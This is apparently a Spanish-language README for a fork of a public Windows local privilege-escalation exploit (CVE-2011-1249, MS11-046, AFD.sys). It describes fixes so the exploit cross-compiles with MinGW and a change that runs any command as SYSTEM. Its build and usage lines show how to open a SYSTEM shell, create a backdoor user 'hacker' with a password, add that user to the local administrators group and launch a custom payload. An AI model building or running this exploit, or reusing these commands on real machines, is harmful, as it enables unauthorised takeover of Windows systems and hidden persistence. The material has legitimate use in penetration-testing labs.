
CVE-2011-1249 (MS11-046) escalada de privilegios de AFD — corrección de compilación cruzada MinGW + soporte de comandos personalizados
CVE-2011-1249 / MS11-046 — escalada de privilegios de AFD.sys para Windows x86.
Exploit original por Tomislav Paskalev (EDB-40564). Este fork corrige errores de compilación cruzada con MinGW y añade ejecución de comandos personalizados mediante argv[1].
| # | Cambio | Motivo |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → puntero a función tipado (pZwQuerySystemInformation) | La comprobación estricta de tipos de MinGW rechaza llamar a un FARPROC de cero parámetros con argumentos — la compilación falla con too many arguments to function |
| 2 | Arrays securityPatches[] marcados como static | Los arrays declarados dentro de bloques if/else se asignan en la pila y salen del ámbito; sin static los punteros quedan colgando |
| 3 | Comando personalizado mediante argv[1] | Ejecuta cualquier comando como SYSTEM en lugar del cmd.exe fijo |
Compilar el original con MinGW falla:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC es un puntero a función genérico declarado con cero parámetros. MinGW aplica una comprobación de tipos estricta y rechaza llamarlo con argumentos. La solución es un puntero a función tipado con la firma correcta.
Existen binarios precompilados (p. ej. SecWiki/windows-kernel-exploits) pero no admiten comandos personalizados.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # por defecto: abre cmd.exe como SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # añade un usuario como SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # añade al grupo de administradores locales
ms11-046.exe "c:\windows\temp\shell.exe" # ejecuta un payload personalizado como SYSTEM